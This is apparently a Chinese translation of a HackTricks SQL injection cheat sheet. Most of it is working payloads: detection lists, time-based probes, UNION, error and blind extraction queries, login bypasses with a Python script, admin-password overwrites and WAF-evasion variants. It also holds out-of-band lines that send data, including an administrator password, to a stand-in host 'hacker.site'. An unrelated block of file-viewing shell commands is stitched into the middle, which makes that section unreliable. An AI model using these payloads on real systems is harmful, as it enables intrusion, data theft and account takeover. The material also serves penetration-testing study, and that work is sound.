SQL Injection

Reading time: 28 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

什么是 SQL injection?

一个 SQL injection 是一种安全漏洞,允许攻击者干预应用程序的数据库查询。该漏洞可以使攻击者能够查看修改删除他们不该访问的数据,包括其他用户的信息或应用程序可访问的任何数据。这些操作可能导致对应用程序功能或内容的永久性更改,甚至服务器被攻破或 denial of service。

入口点检测

当一个站点因为对 SQL injection (SQLi) 相关输入的异常服务器响应而看起来可能存在漏洞时,第一步是弄清楚如何在不破坏查询的情况下将数据注入到查询中。这需要识别有效从当前上下文中 escape 的方法。以下是一些有用的示例:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

然后,你需要知道如何 fix the query so there isn't errors。为了修复该 query,你可以 input 数据以让 previous query accept the new data,或者你可以直接 input 你的数据并在结尾处 add a comment symbol add the end

注意,如果你能看到错误消息,或者能在 query 工作与不工作时发现差异,这个阶段会更容易。

注释

sql
MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

使用逻辑运算确认

确认 SQL injection 漏洞的一种可靠方法是执行 逻辑运算 并观察预期的结果。例如,若 GET parameter ?username=Peter 在被修改为 ?username=Peter' or '1'='1 后仍返回相同内容,则表明存在 SQL injection 漏洞。

类似地,应用 数学运算 也是一种有效的确认技术。例如,如果访问 ?id=1?id=2-1 得到相同结果,则可能存在 SQL injection。

用于说明逻辑运算确认的示例:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

这个 word-list 是为尝试以建议的方式 确认 SQLinjections 而创建的:

True SQLi ``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```

通过计时确认

在某些情况下,你在测试的页面不会注意到任何变化。因此,一个好的方法来discover blind SQL injections 是让 DB 执行一些操作,这些操作会影响页面加载时间
因此,我们将在 SQL query 中 concat 一个会花费很长时间才能完成的操作:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

在某些情况下,sleep functions won't be allowed。然后,与其使用那些函数,你可以让查询执行耗时的复杂操作,这些操作会花费几秒钟。这些技术的示例将在每种技术上单独说明(如果有的话)

识别后端

识别后端的最佳方法是尝试执行不同后端的函数。你可以使用上一节的 sleep functions 或者这些(表格来自 payloadsallthethings:

bash
["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

另外,如果你可以看到查询的输出,你可以让它 打印数据库版本

tip

接下来我们将讨论针对不同类型 SQL Injection 的不同利用方法。我们将以 MySQL 为例。

使用 PortSwigger 进行识别

SQL injection cheat sheet | Web Security Academy

利用 Union Based

检测列数

如果你能看到查询的输出,这是最好的利用方式。
首先,我们需要找出 初始请求 返回的 数量。这是因为 两个查询必须返回相同数量的列
通常有两种方法可用于此目的:

Order/Group by

要确定查询中的列数,逐步增加在 ORDER BYGROUP BY 子句中使用的数字,直到收到错误响应。尽管 GROUP BYORDER BY 在 SQL 中具有不同的功能,但两者都可以以相同的方式用于确定查询的列数。

sql
1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
sql
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

逐步添加更多的 null 值,直到查询正确:

sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

你应该使用 null 值,因为在某些情况下,查询两端列的类型必须相同,而 null 在任何情况下都是有效的。

提取数据库名、表名和列名

在接下来的示例中,我们将检索所有数据库的名称、某个数据库的表名以及表的列名:

sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

在每种不同的数据库上发现这些数据的方法各不相同,但其方法论始终相同。

利用 Hidden Union Based

当一个 queryoutput 可见,但一个 union-based injection 看起来无法实现时,这表明存在一个 hidden union-based injection。这种情况通常会导致 blind injection 的情形。要将 blind injection 转变为 union-based,需要辨识后端执行的 query。

这可以通过使用 blind injection 技术,结合目标 DBMS 的默认表来实现。要了解这些默认表,建议查阅目标 DBMS 的文档。

一旦提取出 query,就需要定制你的 payload 以安全地关闭原始 query。随后,把一个 union query 附加到你的 payload 上,从而利用新可访问的 union-based injection。

欲了解更全面的见解,请参阅完整文章 Healing Blind Injections.

利用 Error based

如果由于某种原因你cannot看到该queryoutput,但你可以see the error messages,你可以利用这些 error messages 来ex-filtrate 数据库中的数据。
按照与 Union Based exploitation 相似的流程,你就可以设法 dump the DB。

sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

利用 Blind SQLi

在这种情况下,你无法看到查询的结果或错误,但当查询返回 truefalse 时,你可以分辨出来,因为页面上的内容会不同。
在这种情况下,你可以利用该行为逐字符导出数据库:

sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Exploiting Error Blind SQLi

这是与之前相同的情况,但与通过查询区分 true/false 响应不同,你可以区分SQL 查询中是否出现error(可能因为 HTTP 服务器崩溃)。因此,在这种情况下,每当你正确猜出字符时,都可以触发一个 SQLerror:

sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Exploiting Time Based SQLi

在这种情况下,基于页面的上下文没有任何方法可以区分查询的响应。但是,如果猜测的字符正确,你可以让页面加载更慢。我们之前已经看到过这种技术用于confirm a SQLi vuln

sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

你可以使用 stacked queries 来 连续执行多个查询。注意,虽然后续查询会被执行,但 结果 不会返回给应用程序。因此,该技术主要用于 blind vulnerabilities,在这种情况下你可以使用第二个查询来触发 DNS lookup、条件错误或时间延迟。

Oracle 不支持 stacked queries。 MySQL, MicrosoftPostgreSQL 支持它们:QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

如果 no-other 利用方法 无效,你可以尝试让 database ex-filtrate 信息到由你控制的 external host。例如,通过 DNS queries:

sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

通过 XXE 进行 Out of band data exfiltration

sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

自动化利用

查看 SQLMap Cheatsheet 以使用 sqlmap 利用 SQLi 漏洞。

特定技术信息

我们已经讨论过利用 SQL Injection 漏洞的所有方法。想了解更多依赖数据库技术的技巧,请在本书中查找:

或者你可以在 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection 找到大量关于 MySQL, PostgreSQL, Oracle, MSSQL, SQLite 和 HQL 的技巧

身份验证绕过

尝试绕过登录功能的列表:

Login bypass List

原始哈希认证绕过

sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

该查询展示了一个漏洞:当在身份验证检查中将 MD5 与 true(用于原始输出)一起使用时,会使系统易受 SQL injection 攻击。攻击者可以通过构造输入,在被 hashed 后产生意外的 SQL 命令片段,从而导致未授权访问。

sql
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Injected hash authentication Bypass

sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

推荐列表:

你应该把列表中的每一行作为 username,并始终将密码设为:Pass1234.
(这些 payloads 也包含在本节开头提到的大列表中)

GBK Authentication Bypass

如果单引号 (') 被转义,可以使用 %A8%27;当 ' 被转义时,它会被创建为:0xA80x5c0x27 (╘')

sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python 脚本:

python
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (multicontext)

sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert 语句

修改现有对象/用户的密码

为此你应该尝试 创建一个名称与 "master object" 相同的新对象(在用户场景中通常是 admin),并修改某些内容:

  • 创建用户,名为:AdMIn(使用大小写混合)
  • 创建用户,名为:admin=
  • SQL Truncation Attack(当用户名或邮箱存在某种长度限制时) --> 创建用户名:admin [a lot of spaces] a

SQL Truncation Attack

如果数据库存在漏洞,并且用户名的最大字符数例如为 30,而你想冒充用户 admin,尝试创建一个用户名为:"admin [30 spaces] a" 并设置任意密码。

数据库会检查所输入的username是否存在于数据库中。如果不存在,它会将该username****截断允许的最大字符数(在本例中为:"admin [25 spaces]"),然后会自动移除末尾的所有空格并在数据库中用新密码更新用户 "admin"(可能会出现一些错误,但这并不意味着该方法没有成功)。

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

添加尽可能多的 ','','' 以便退出 VALUES 语句。如果触发了延迟,则说明存在 SQLInjection。

sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

在 MySQL 中,ON DUPLICATE KEY UPDATE 子句用于指定当尝试插入一行会导致 UNIQUE 索引或 PRIMARY KEY 重复值时数据库应采取的操作。下面的示例演示了如何利用此功能来修改管理员帐户的密码:

示例 Payload Injection:

可以构造如下的注入 payload,其中尝试向 users 表插入两行。第一行是幌子,第二行则针对现有管理员的邮箱,目的是更新密码:

sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Here's how it works:

  • 该查询尝试插入两行:一行为 generic_user@example.com,另一行为 admin_generic@example.com
  • 如果 admin_generic@example.com 对应的行已存在,ON DUPLICATE KEY UPDATE 子句会触发,指示 MySQL 将现有行的 password 字段更新为 "bcrypt_hash_of_newpassword"。
  • 因此,可以使用 admin_generic@example.com 尝试进行身份验证,密码为对应的 bcrypt hash("bcrypt_hash_of_newpassword" 表示新密码的 bcrypt 哈希,应替换为所需密码的实际哈希值)。

提取信息

同时创建 2 个账户

When trying to create a new user and username, password and email are needed:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

使用十进制或十六进制

通过此技术,你只需创建一个账户就能提取信息。重要的是要注意,你不需要 comment 任何东西。

使用 hex2decsubstr:

sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

要获取该文件的文本,你可以使用以下命令之一:

  • 本地查看:

    • cat:
      cat src/pentesting-web/sql-injection/README.md
      
    • less:
      less src/pentesting-web/sql-injection/README.md
      
    • head/tail(查看开头/结尾):
      head -n 200 src/pentesting-web/sql-injection/README.md
      tail -n 200 src/pentesting-web/sql-injection/README.md
      
  • Git 仓库历史中的文件:

    git show HEAD:src/pentesting-web/sql-injection/README.md
    
  • GitHub 原始文件(替换 OWNER/REPO/BRANCH):

    curl -s https://raw.githubusercontent.com/OWNER/REPO/BRANCH/src/pentesting-web/sql-injection/README.md
    
  • 使用 gh CLI:

    gh repo view --raw --path src/pentesting-web/sql-injection/README.md
    
  • Windows PowerShell:

    Get-Content -Path src/pentesting-web/sql-injection/README.md -Raw
    
  • 容器内文件:

    docker exec -it <container> cat /path/to/repo/src/pentesting-web/sql-injection/README.md
    
python
__import__('binascii').unhexlify(hex(215573607263)[2:])

使用 hexreplace (和 substr):

sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection 是一种情形,其中可注入的查询不是直接产生输出的查询,而是可注入查询的输出被传递到产生输出的查询。 (From Paper)

示例:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Initial bypasses from here

No spaces bypass

No Space (%20) - bypass 使用空白替代符

sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - bypass 使用注释

sql
?id=1/*comment*/and/**/1=1/**/--

No Whitespace - 使用括号绕过

sql
?id=(1)and(1)=(1)--

无逗号 bypass

No Comma - bypass 使用 OFFSET, FROM 和 JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

通用绕过

使用关键字的 blacklist - 通过改变 uppercase/lowercase 绕过

sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

使用关键字的黑名单(不区分大小写) - 使用等价运算符绕过

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

科学记数法 WAF bypass

关于此技巧的更深入说明可以在 gosecure blog.
基本上,你可以以出乎意料的方式使用科学记数法来绕过 WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

绕过列名限制

首先,请注意,如果原始查询和你要从中提取 flag 的表具有相同数量的列,你可以直接做: 0 UNION SELECT * FROM flag

可以通过如下查询在不使用列名的情况下访问表的第三列SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;,因此在一个 sqlinjection 中这看起来像:

bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

或者使用 comma bypass:

bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

这个技巧取自 https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Column/tablename injection in SELECT list via subqueries

如果用户输入被拼接到 SELECT list 或 table/column identifiers 中,prepared statements 无济于事,因为 bind parameters 只保护 values,而不是 identifiers。一个常见的易受攻击的模式是:

php
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);

Exploitation 思路:在字段位置注入 subquery 以 exfiltrate 任意数据:

sql
-- Legit
SELECT user_name FROM vte_users WHERE id=1;

-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;

注意:

  • 即使 WHERE clause 使用 bound parameter,该方法仍然有效,因为 identifier 列表仍然以字符串拼接的方式组合。
  • 某些 stacks 还允许你控制表名 (tablename injection),从而能够跨表读取。
  • 输出 sink 可能会将选定的值反射到 HTML/JSON 中,从而直接在响应中引发 XSS 或 token 外泄。

缓解措施:

  • 切勿从用户输入中拼接 identifiers。将允许的 column names 映射到一个固定的允许列表并正确引用 identifiers。
  • 如果需要动态表访问,请限制为一个有限集合,并在服务器端从安全映射中解析。

WAF 绕过建议工具

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester

其他指南

暴力破解检测列表

Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

参考资料

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks